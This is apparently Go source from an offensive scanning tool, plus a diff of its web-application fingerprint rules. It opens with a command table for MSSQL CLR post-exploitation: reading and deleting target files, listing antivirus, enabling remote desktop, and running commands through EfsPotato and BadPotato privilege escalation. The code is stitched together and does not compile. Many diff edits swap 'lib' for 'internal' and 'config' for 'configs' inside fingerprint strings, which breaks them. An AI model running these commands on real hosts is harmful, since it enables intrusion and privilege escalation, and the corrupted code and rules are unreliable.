var DefaultHeader = map[string]string{
"Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6",
"User-agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36",
"Cookie": "rememberMe=int",
}
var SharpKitHelp = [][]string{
{"EXEC ClrExec 'clr_ping ip'", "Detect whether the target is reachable"},
{"EXEC ClrExec 'clr_cat filename'", "Viewing target file Contents"},
{`EXEC ClrExec 'clr_ls dir'`, "Listing directory files"},
{`EXEC ClrExec 'clr_rm filename'`, "rm traget file"},
{`EXEC ClrExec 'clr_getav'`, "List target host kill software"},
{`EXEC ClrExec 'clr_rdp'`, `Open the remote desktop and return to the remote desktop port`},
{`EXEC ClrExec 'clr_efspotato whoami'`, "Calls efspotato to execute system commands"},
{`EXEC ClrExec 'clr_badpotato whoami'`, "Calls badpotato to execute system commands"},
{`EXEC ClrExec 'clr_netstat'`, "Listing netstat -an result"},
type Format struct {
Host string `json:"Host,omitempty"` // 主机地址
Port []int `json:"Port,omitempty"`
Service []*Service `json:"Service,omitempty"`
Vulnerability []string `json:"Vulnerability,omitempty"`
}
var (
// DisMapPorts TODO: dismp 默认端口号
type Service struct {
Name string `json:"Name,omitempty"`
Information []string `json:"Information,omitempty"`
WeakPass []map[string]string `json:"WeakPass,omitempty"` // 一个服务可能有好几个口令,所以采用切片类型
}
DisMapPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,443,800,801,808,880,888,889,1000,1080,1880,1881,2000,2001,2601,3443,7001,7007,7010,7070,7878,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8016,8017,8018,8019,8022,8029,8030,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8105,8108,81110,8161,8175,8188,8189,8200,8201,8222,8300,8360,8443,8445,8448,8484,8499,8500,8800,8848,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9300,9443,9448,9500,9628,9800,9899,9981,9986,9988,9998,9999,11001"
// DefaultHeader TODO: 默认User-Agent
DefaultHeader = map[string]string{
"Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6",
"User-agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36",
"Cookie": "rememberMe=int",
}
)
var JSONSave []*Format

View File

@@ -22,9 +22,13 @@ type RuleLab struct {
Http ReqHttp
}
//TODO: dismap指纹 https://github.com/zhzyker/dismap/blob/main/config/rule.go
var RuleData = []RuleLab{
{1, "EnterCRM", "body", "", InStr{"(Ent.base.js)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "MeterSphere", "body", "", InStr{"(<title>MeterSphere</title>)", "", ""}, ReqHttp{"", "", nil, ""}},
{3, "Apache Druid", "body", "", InStr{"(<title>Apache Druid</title>|content=\"Apache Druid console\")", "", ""}, ReqHttp{"", "", nil, ""}},
{2, "Alibaba Druid", "body", "", InStr{"(<meta http-equiv=\"refresh\" content=\"0;url=faq.html\">\n(.*)<title>Welcome</title>|click(druid.login.login)|<title>druid monitor</title>|druid.common.buildHead|druid.index.init())", "", ""}, ReqHttp{"", "", nil, ""}},
{3, "Sunlogin", "body|header", "and", InStr{"(\"msg\":\"Verification failure\")", "(application/json|text/html)", ""}, ReqHttp{"", "", nil, ""}},
{1, "08CMS", "body", "", InStr{"(content=\"08cms|typeof(_08cms))", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "1039soft-JiaXiao", "body", "", InStr{"(name=\"hid_qu_type\" id=\"hid_qu_type\"|/handler/validatecode.ashx?id=)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "17mail", "body", "", InStr{"(//易企邮正式版发布)", "", ""}, ReqHttp{"", "", nil, ""}},
@@ -51,7 +55,7 @@ var RuleData = []RuleLab{
{1, "360-Webscan", "body", "", InStr{"(webscan.360.cn/status/pai/hash)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "360WiFi-Expander", "body", "", InStr{"(id=\"slogan\">欢迎使用360wifi扩展器</div>)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "365webcall", "body", "", InStr{"(src='http://www.365webcall.com/imme1.aspx?)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "365xxy-Examing", "body", "", InStr{"(href=https://unpkg.com/element-ui/lib/theme-chalk/index.css|<title>云时政在线考试系统</title>)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "365xxy-Examing", "body", "", InStr{"(href=https://unpkg.com/element-ui/internal/theme-chalk/index.css|<title>云时政在线考试系统</title>)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "3-byte-invalid-favicon", "ico", "", InStr{"", "", "(ecaa88f7fa0bf610a5a26cf545dcd3aa)"}, ReqHttp{"", "", nil, ""}},
{1, "3Com-3CDSG8", "body", "", InStr{"(content=\" 3cdsg8\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "3Com-NJ2000", "body", "", InStr{"(content=\"3com intellijack nj2000\")", "", ""}, ReqHttp{"", "", nil, ""}},
@@ -101,7 +105,7 @@ var RuleData = []RuleLab{
{1, "activeWeb-Content-Server", "body", "", InStr{"(awnocachebegin__awnocachebegin__awnocachebegin__awnocachebegin__awnocachebegin)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "activeWeb-Content-Server", "header", "", InStr{"", "(x-awcache)", ""}, ReqHttp{"", "", nil, ""}},
{1, "ACT-Manager", "body|header", "or", InStr{"(url:\"/ucenter/login/loginaction!gettitle.action\",|<script>location.href=\"ucenter\";</script>)", "(path=/ucenter/; secure; httponly)", ""}, ReqHttp{"", "", nil, ""}},
{3, "Acunetix", "body", "", InStr{"(logo.src = 'assets/images/acunetix-logo-full-new-black.svg'|title>Acunetix</title>|<acx-root></acx-root>)", "", ""}, ReqHttp{"", "", nil, ""}},
{3, "Acunetix", "body", "", InStr{"(acunetix-logo-full-new-black.svg|title>Acunetix</title>|<acx-root></acx-root>|<html ng-app=\"WVS\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Adaptec-maxView", "body", "", InStr{"(action=\"/maxview/manager/login.xhtml)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Adcon-Telemetry-Gateway", "body|header", "or", InStr{"(adcon telemetry gmbh;|welcome to the a840 telemetry gateway!)", "(addupi)", ""}, ReqHttp{"", "", nil, ""}},
{1, "AdiMoney", "body", "", InStr{"(<img src=\"/img/logo.png\" alt=\"adimoney\"/>|content=\"adimoney.com mobile advertisement network. )", "", ""}, ReqHttp{"", "", nil, ""}},
@@ -249,6 +253,7 @@ var RuleData = []RuleLab{
{1, "APC-UPS-Management-Card", "body", "", InStr{"(class=\"apclogo\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "APC-UPS-Management-Card", "header", "", InStr{"", "(apc management card|network management card)", ""}, ReqHttp{"", "", nil, ""}},
{1, "APD-Cameras-and-Surveillance", "body", "", InStr{"(var listenport = 6002;|lg_body_iptpsw)", "", ""}, ReqHttp{"", "", nil, ""}},
{3, "APISIX", "body|header", "", InStr{"(Apache APISIX Dashboard)", "(Server: APISIX)", ""}, ReqHttp{"", "", nil, ""}},
{1, "apereo-CAS", "body", "", InStr{"(cas &#8211; central authentication service)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "apex-LiveBPM", "body", "", InStr{"(href=\"/plug-in/login/fixed/css/login.css\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "apilayer-Caddy", "header", "", InStr{"", "(server: caddy)", ""}, ReqHttp{"", "", nil, ""}},
@@ -402,7 +407,7 @@ var RuleData = []RuleLab{
{1, "AVTech-Cameras-and-Surveillance", "header", "", InStr{"", "(nserver: avtech/)", ""}, ReqHttp{"", "", nil, ""}},
{1, "AWS-EC2", "body|header", "", InStr{"(welcome to nginx on amazon ec2!)", "(ec2-instance-id)", ""}, ReqHttp{"", "", nil, ""}},
{1, "AWS-Elastic-Beanstalk", "body", "", InStr{"(<h2>what's next?</h2>|aws.amazon.com/elasticbeanstalk)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "AWStats", "body", "", InStr{"(generator\" content=\"awstats|<frame name=\"mainleft\" src=\"awstats.pl?config=|<a href=\"http://www.awstats.org\" target=\"awstatshome\">created by awstats )", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "AWStats", "body", "", InStr{"(generator\" content=\"awstats|<frame name=\"mainleft\" src=\"awstats.pl?configs=|<a href=\"http://www.awstats.org\" target=\"awstatshome\">created by awstats )", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Axel-Device", "header", "", InStr{"", "(server: axel admin server)", ""}, ReqHttp{"", "", nil, ""}},
{1, "Axentra-HipServ", "body", "", InStr{"(content=\"axentra)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Axentra-HipServ", "header", "", InStr{"", "(x-axentra-version)", ""}, ReqHttp{"", "", nil, ""}},
@@ -467,7 +472,7 @@ var RuleData = []RuleLab{
{1, "Bicesoft-Super-Custom-Survey-Voting-System", "body", "", InStr{"(href=\"images/bicesoft.css\"|佰思超强自定义问卷调查系统(bicesoft.com))", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "biept-System", "body", "", InStr{"(class=\"loginin loginin1\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "BigDump", "body", "", InStr{"(bigdump: staggered mysql dump importer)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "BiHaiYunHe-Router", "body", "", InStr{"(src=\"lib/ext-lang-zh_cn.js\"|<h4>欢迎登录碧海云盒</h4>)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "BiHaiYunHe-Router", "body", "", InStr{"(src=\"internal/ext-lang-zh_cn.js\"|<h4>欢迎登录碧海云盒</h4>)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "BillingTestTool", "body", "", InStr{"(href:'/billtool/querysum')", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Billion-Router", "header", "", InStr{"", "(billion sky|basic realm=\"webadmin)", ""}, ReqHttp{"", "", nil, ""}},
{1, "BinarySec-Cloud-Defense", "header", "", InStr{"", "(x-binarysec|x-binarysec-nocache)", ""}, ReqHttp{"", "", nil, ""}},
@@ -752,7 +757,7 @@ var RuleData = []RuleLab{
{1, "Cisco-MWEB", "header", "", InStr{"", "(cisco-mweb)", ""}, ReqHttp{"", "", nil, ""}},
{1, "Cisco-NAM", "body", "", InStr{"(nam traffic analyzer</span>)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "CISCO-Nexus-Data-Broker", "body", "", InStr{"(j_security_check|window.location.href = '/monitor';)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Cisco-Prime-Infrastructure", "body", "", InStr{"(<div class=\"xwtproductname\" >cisco prime infrastructure|/webacs/lib/xwt/themes/prime/prime-xwt.css|webacs/welcomeaction.do)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Cisco-Prime-Infrastructure", "body", "", InStr{"(<div class=\"xwtproductname\" >cisco prime infrastructure|/webacs/internal/xwt/themes/prime/prime-xwt.css|webacs/welcomeaction.do)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Cisco-Prime-Infrastructure", "header", "", InStr{"", "(server: prime)", ""}, ReqHttp{"", "", nil, ""}},
{1, "CISCO-Prime-Network-Registrar", "body", "", InStr{"(productname=\"network registrar)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Cisco-Rimes", "header", "", InStr{"", "(rimes-cisco)", ""}, ReqHttp{"", "", nil, ""}},
@@ -871,7 +876,7 @@ var RuleData = []RuleLab{
{1, "Confluence", "body|header|ico", "or", InStr{"(name=\"confluence-base-url\"|id=\"com-atlassian-confluence)", "(x-confluence-|tp-link router upnp)", "(966e60f8eb85b7ea43a7b0095f3e2336)"}, ReqHttp{"", "", nil, ""}},
{1, "ConfTool", "body", "", InStr{"(<h2 align=center>conftool conference administration|<a href='http://www.conftool.net'>conference management software)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "ConKing-SchoolGroup", "body", "", InStr{"(javascripts/float.js|vcxvcxv)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Consul-HashiCorp", "body", "", InStr{"(/ui/assets/consul-ui|consul-ui/config/environment|consulhost|consul instance|www.consul.io)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Consul-HashiCorp", "body", "", InStr{"(/ui/assets/consul-ui|consul-ui/configs/environment|consulhost|consul instance|www.consul.io)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "ContentXXL", "body", "", InStr{"(content=\"contentxxl)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "ContrexxCMS", "body", "", InStr{"(powered by contrexx|content=\"contrexx)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Convision-Video", "header", "", InStr{"", "(convision video webserver)", ""}, ReqHttp{"", "", nil, ""}},
@@ -1652,7 +1657,7 @@ var RuleData = []RuleLab{
{1, "Grizzly NIO", "body", "", InStr{"(<div class=\"footer\">Grizzly(.*)</div>)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Group-Office", "body", "", InStr{"(powered by group-office|\"theme\":\"group-office\",)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Group-Office", "header", "", InStr{"", "(groupoffice=)", ""}, ReqHttp{"", "", nil, ""}},
{1, "GROWFORCE-Email", "body", "", InStr{"(href=\"http://webmail.zmail300.cn|href=\"/page/help/mailconfig/config/index.html)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "GROWFORCE-Email", "body", "", InStr{"(href=\"http://webmail.zmail300.cn|href=\"/page/help/mailconfig/configs/index.html)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "gSOAP", "header", "", InStr{"", "(server: gsoap)", ""}, ReqHttp{"", "", nil, ""}},
{1, "gsoap", "ico", "", InStr{"", "", "(63d5627fc659adfdd5b902ecafe9100f)"}, ReqHttp{"", "", nil, ""}},
{1, "guahao-AppointmentRegistrationSystem", "body", "", InStr{"(var title = \"预约挂号系统\";)", "", ""}, ReqHttp{"", "", nil, ""}},
@@ -1862,7 +1867,7 @@ var RuleData = []RuleLab{
{1, "horde", "ico", "", InStr{"", "", "(5e99522b02f6ecadbb3665202357d775|7cc1a052c86cc3d487957f7092a6d8c3)"}, ReqHttp{"", "", nil, ""}},
{1, "Horde IMP)", "ico", "", InStr{"", "", "(f567fd4927f9693a7a2d6cacf21b51b6)"}, ReqHttp{"", "", nil, ""}},
{1, "horde-sam", "ico", "", InStr{"", "", "(ee3d6a9227e27a5bc72db3184dab8303|3995c585b76bd5aa67cb6385431d378a)"}, ReqHttp{"", "", nil, ""}},
{1, "Hortonworks-SmartSense-Tool", "body", "", InStr{"(name=\"hstapp/config/environment\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Hortonworks-SmartSense-Tool", "body", "", InStr{"(name=\"hstapp/configs/environment\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Hospital-material-supplier-B2B-platform", "body", "", InStr{"(医院物资供应商b2b平台)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "HostBill", "body", "", InStr{"(powered by <a href=\"http://hostbillapp.com|<strong>hostbill)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Hosteur web hosting", "ico", "", InStr{"", "", "(376CBEF2F074485F525BBF45DBFC2CBA)"}, ReqHttp{"", "", nil, ""}},
@@ -1952,7 +1957,7 @@ var RuleData = []RuleLab{
{1, "HUAWEI-S7700", "header", "", InStr{"", "(s7700)", ""}, ReqHttp{"", "", nil, ""}},
{1, "HuaWei-Secoway-Firewall", "header", "", InStr{"", "(secoway)", ""}, ReqHttp{"", "", nil, ""}},
{1, "HUAWEI-Secoway-USG2230", "header", "", InStr{"", "(secoway usg2230)", ""}, ReqHttp{"", "", nil, ""}},
{1, "HuaWei-Security-Device", "body", "", InStr{"(sweb-lib/resource/|sweb-lib/plat/login/login_new.js)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "HuaWei-Security-Device", "body", "", InStr{"(sweb-internal/resource/|sweb-internal/plat/login/login_new.js)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "HuaWei-Server", "body", "", InStr{"(src=\"custom/logo.gif\"|control/images/about.gif)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "HuaWei-SmartAX", "header", "", InStr{"", "(basic realm=\"huawei smartax\"|smartax)", ""}, ReqHttp{"", "", nil, ""}},
{1, "HuaWei-SRG1220", "header", "", InStr{"", "(huawei srg1220)", ""}, ReqHttp{"", "", nil, ""}},
@@ -1995,7 +2000,7 @@ var RuleData = []RuleLab{
{1, "hws-Host", "body", "", InStr{"(content=\"护卫神·主机大师 前台管理登录\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Hybrid-Cluster", "header", "", InStr{"", "(server: hybrid cluster)", ""}, ReqHttp{"", "", nil, ""}},
{1, "hycas-System", "body", "", InStr{"(src=\"/images/hyscm.jpg)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "hzhz-VIS", "body", "", InStr{"(src=\"lib/ext/ext-lang-zh_cn.js\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "hzhz-VIS", "body", "", InStr{"(src=\"internal/ext/ext-lang-zh_cn.js\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "i3micro", "header", "", InStr{"", "(realm=\"i3micro)", ""}, ReqHttp{"", "", nil, ""}},
{1, "i3micro VRG", "ico", "", InStr{"", "", "(e4a509e78afca846cd0e6c0672797de5)"}, ReqHttp{"", "", nil, ""}},
{1, "Iactive-Cloud-video-platform", "body", "", InStr{"(/js/roomheight.js|meetingshow!show.action)", "", ""}, ReqHttp{"", "", nil, ""}},
@@ -2194,7 +2199,7 @@ var RuleData = []RuleLab{
{1, "Isunor-Order-Management-System", "body", "", InStr{"(var c_name = 'jsessionid';)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Is'vision-Portrait-comparison-system", "body", "", InStr{"(上海银晨|人像比对系统)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "itenable", "body", "", InStr{"(/enableq.css|js/checkquestion.js.php|/images/enableq.ico)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "iTEST3.0", "body", "", InStr{"(src=\"/itest/static/its/lib/)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "iTEST3.0", "body", "", InStr{"(src=\"/itest/static/its/internal/)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "iTop", "body", "", InStr{"(href=\"http://www.combodo.com/itop)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "iWebShop", "body", "", InStr{"(_skinpath|_themepath|_weburl|class=\"pro_title\">iwebshop支付测试)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "iWebSNS", "body", "", InStr{"(/jooyea/images/sns_idea1.jpg|/jooyea/images/snslogo.gif)", "", ""}, ReqHttp{"", "", nil, ""}},
@@ -2232,7 +2237,7 @@ var RuleData = []RuleLab{
{1, "Jive-SBS", "body|header", "or", InStr{"(/jive-icons.css|class=\"jive-body-formpage|jive.rte.defaultstyles)", "(x-jsl: )", ""}, ReqHttp{"", "", nil, ""}},
{1, "JLOA", "body", "", InStr{"(selectcss|toptitleimg|logintable)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "JNSEC-USG", "body", "", InStr{"(content=\"jnsec web ui\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "jnsh-System", "body", "", InStr{"(src=\"../../doc/config/shxmjgptapp.png\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "jnsh-System", "body", "", InStr{"(src=\"../../doc/configs/shxmjgptapp.png\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Join-Cheer-General-financial-system", "body", "", InStr{"(北京久其软件股份有限公司 版权所有|/netrep/intf|/netrep/message2/|<meta http-equiv=\"refresh\" content=\"0\";url=\"../netrep\">)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "joinf-ERP", "body", "", InStr{"(<h1>富通天下erp</h1>)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Joomla", "body|ico", "or", InStr{"(content=\"joomla|/media/system/js/core.js|/media/system/js/mootools-core.js)", "", "(63b982eddd64d44233baa25066db6bc1)"}, ReqHttp{"", "", nil, ""}},
@@ -2490,7 +2495,7 @@ var RuleData = []RuleLab{
{1, "Lotus Domino Server", "ico", "", InStr{"", "", "(639b61409215d770a99667b446c80ea1)"}, ReqHttp{"", "", nil, ""}},
{1, "Lotus-Notes-Traveler", "header", "", InStr{"", "(realm=\"lotus notes traveler)", ""}, ReqHttp{"", "", nil, ""}},
{1, "LotWan-Web-accelerator", "body", "", InStr{"(北京华夏创新科技有限公司)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "loyaa-Information-Automatic-Editing-system", "body", "", InStr{"(/loyaa/common.lib.js)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "loyaa-Information-Automatic-Editing-system", "body", "", InStr{"(/loyaa/common.internal.js)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "LOYTEC-LINX", "body", "", InStr{"(device_info/device_info)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "LPSE", "body", "", InStr{"(href=\"/eproc/assets/application.css)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "LPSE", "header", "", InStr{"", "(/eproc/app)", ""}, ReqHttp{"", "", nil, ""}},
@@ -3109,7 +3114,7 @@ var RuleData = []RuleLab{
{1, "phpATM", "body", "", InStr{"(src=\"viewer_bottom.php?file=|powered by phpatm|powered by php advanced transfer manager)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "phpBB", "header", "", InStr{"", "(set-cookie: phpbb3_|httponly, phpbb3_)", ""}, ReqHttp{"", "", nil, ""}},
{1, "PHP-CGI", "header", "", InStr{"", "(php-cgi)", ""}, ReqHttp{"", "", nil, ""}},
{1, "PhpCMS", "body", "", InStr{"(http://www.phpcms.cn|content=\"phpcms|powered by phpcms|data/config.js)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "PhpCMS", "body", "", InStr{"(http://www.phpcms.cn|content=\"phpcms|powered by phpcms|data/configs.js)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "phpCollab", "body", "", InStr{"(<!-- powered by phpcollab|content='phpcollab)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "PHP-CSL", "body", "", InStr{"(content=\"php code snippet|title=\"php-csl\">php-csl)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "phpDealerLocator", "body", "", InStr{"(class=\"pythonselect|for=\"dealer_radiuss_dealer_zip)", "", ""}, ReqHttp{"", "", nil, ""}},
@@ -3302,7 +3307,7 @@ var RuleData = []RuleLab{
{1, "ralph", "body", "", InStr{"(ralph <strong>3</strong>)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "ramaze-ruby", "ico", "", InStr{"", "", "(6be5ebd07e37d0b415ec83396a077312|12225e325909cee70c31f5a7ab2ee194)"}, ReqHttp{"", "", nil, ""}},
{1, "ramptel-SansCord-Router", "body", "", InStr{"(name=username value=\"ywrtaw4=\"|href=\"http://www.ramptel.com/\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Rancher", "body|header", "or", InStr{"(Welcome to Rancher|<meta name=\"ui/config/asset-manifest\" content=\"(.*))", "(Set-Cookie: PL=rancher(.*))", ""}, ReqHttp{"", "", nil, ""}},
{1, "Rancher", "body|header", "or", InStr{"(Welcome to Rancher|<meta name=\"ui/configs/asset-manifest\" content=\"(.*))", "(Set-Cookie: PL=rancher(.*))", ""}, ReqHttp{"", "", nil, ""}},
{3, "Ranzhi-OA", "body", "", InStr{"(/sys/index.php?m=user&f=login&referer=)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Rapid7 (NeXpose)", "ico", "", InStr{"", "", "(e19ffb2bc890f5bdca20f10bfddb288d)"}, ReqHttp{"", "", nil, ""}},
{1, "RAPID-Browser", "body", "", InStr{"(<!-- ### bullet table ### -->|images/login_button.gif\" alt=\"login to rapid browser)", "", ""}, ReqHttp{"", "", nil, ""}},
@@ -3405,7 +3410,7 @@ var RuleData = []RuleLab{
{1, "RV042-VPN-Router", "header", "", InStr{"", "(realm=\"rv042|realm=\"klo-rv042)", ""}, ReqHttp{"", "", nil, ""}},
{1, "RV082-VPN-Router", "header", "", InStr{"", "(realm=\"rv082)", ""}, ReqHttp{"", "", nil, ""}},
{1, "Safe3WAF", "header", "", InStr{"", "(safe3waf|safe3 web firewall)", ""}, ReqHttp{"", "", nil, ""}},
{1, "Safedog", "header", "", InStr{"", "(waf/2.0|set-cookie: safedog|safedog-flow-item=)", ""}, ReqHttp{"", "", nil, ""}},
{1, "Safedog", "header|body", "or", InStr{"(<a href=\"http://security.safedog.cn/index.html\"><input type=\"button\" name=\"feedback\")", "(waf/2.0|set-cookie: safedog|safedog-flow-item=)", ""}, ReqHttp{"", "", nil, ""}},
{1, "SAFETY-LOGBASE", "body", "", InStr{"(onclick=\"location.href='trustcert.cgi')", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Sagemcom-Router", "header", "", InStr{"", "(realm=\"sagem)", ""}, ReqHttp{"", "", nil, ""}},
{1, "Sagemcom-TR-069", "header", "", InStr{"", "(realm=\"sagemcom tr-069\")", ""}, ReqHttp{"", "", nil, ""}},
@@ -3469,7 +3474,7 @@ var RuleData = []RuleLab{
{1, "Schneider-EV-charging-station", "body", "", InStr{"(cgiserver)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Schneider-PowerLogic-ION", "header", "", InStr{"", "(allegro-software-rompager|6200 ion)", ""}, ReqHttp{"", "", nil, ""}},
{1, "Schneider-PowerLogic-PM800", "header", "", InStr{"", "(powerlogic|pm800)", ""}, ReqHttp{"", "", nil, ""}},
{1, "Schneider-Quantum-140NOE77101", "body", "", InStr{"(indexlanguage|html/config.js)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Schneider-Quantum-140NOE77101", "body", "", InStr{"(indexlanguage|html/configs.js)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Schneider-WEB", "header", "", InStr{"", "(schneider-web)", ""}, ReqHttp{"", "", nil, ""}},
{1, "SchoolCenter CMS", "ico", "", InStr{"", "", "(61E029C99ABC5CF058ABC77562A69F98)"}, ReqHttp{"", "", nil, ""}},
{1, "Scientific-research-instrument-network-service-platform", "body", "", InStr{"(content: \"/lfsms/user/login2?go=\" + go)", "", ""}, ReqHttp{"", "", nil, ""}},
@@ -3569,10 +3574,10 @@ var RuleData = []RuleLab{
{1, "SimpleTech-SimpleShare-NAS", "header", "", InStr{"", "(default user name is admin and password is simple)", ""}, ReqHttp{"", "", nil, ""}},
{1, "SIMSWeb", "body", "", InStr{"(<form onsubmit=\"sendinfo(); return false;\" name=\"logon|src=\"/simsweb/monitor.js|index.html\"><font color=\"black\" face=\"arial\">loading simsweb, please wait.....</font></a></h2>)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Sina-CDN", "header", "", InStr{"", "(x-via-cdn|sina-)", ""}, ReqHttp{"", "", nil, ""}},
{1, "Sina-SAE", "body", "", InStr{"(lib.sinaapp.com)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Sina-SAE", "header", "", InStr{"", "(lib.sinaapp.com)", ""}, ReqHttp{"", "", nil, ""}},
{1, "Sina-SAE", "body", "", InStr{"(internal.sinaapp.com)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Sina-SAE", "header", "", InStr{"", "(internal.sinaapp.com)", ""}, ReqHttp{"", "", nil, ""}},
{1, "Sinosoft-Technology-E-government-System", "body", "", InStr{"(app_themes/1/style.css|window.location = \"homepages/index.aspx|homepages/content_page.aspx)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "SIPGateway", "body", "", InStr{"(<h5><a href=\"config.htm?file=config.htm\">start page</a></h5>)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "SIPGateway", "body", "", InStr{"(<h5><a href=\"configs.htm?file=configs.htm\">start page</a></h5>)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "SipProxyModuleCtx", "header", "", InStr{"", "(this is from sipproxymodulectx)", ""}, ReqHttp{"", "", nil, ""}},
{1, "Siqura-Cameras-and-Surveillance", "body", "", InStr{"(class=\"small\">powered by siqura|<img src='../common/logo_siqura.jpg')", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Siqura-Cameras-and-Surveillance", "header", "", InStr{"", "(realm=\"siqura)", ""}, ReqHttp{"", "", nil, ""}},
@@ -3757,7 +3762,7 @@ var RuleData = []RuleLab{
{1, "SurDoc", "body", "", InStr{"(<h1>欢迎使用360书生云盘</h1>|<p>copyright@2016 pan.surdoc.net all rights</p>)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Suremail", "body", "", InStr{"(content=\"北京国信安邮科技有限公司|<span> 客服邮箱support@suremail.cn</span>)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Surfilter-NET110", "body", "", InStr{"(net110网络安全审计系统|simplemodal.1.4.1.min.js)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Surfilter-SURFNX-Security-Gateway", "body", "", InStr{"(lib/templates/surfilter/images/logo_big.png|/lib/templates/surfilter/css/)", "", ""}, ReqHttp{"", "", nil, ""}},
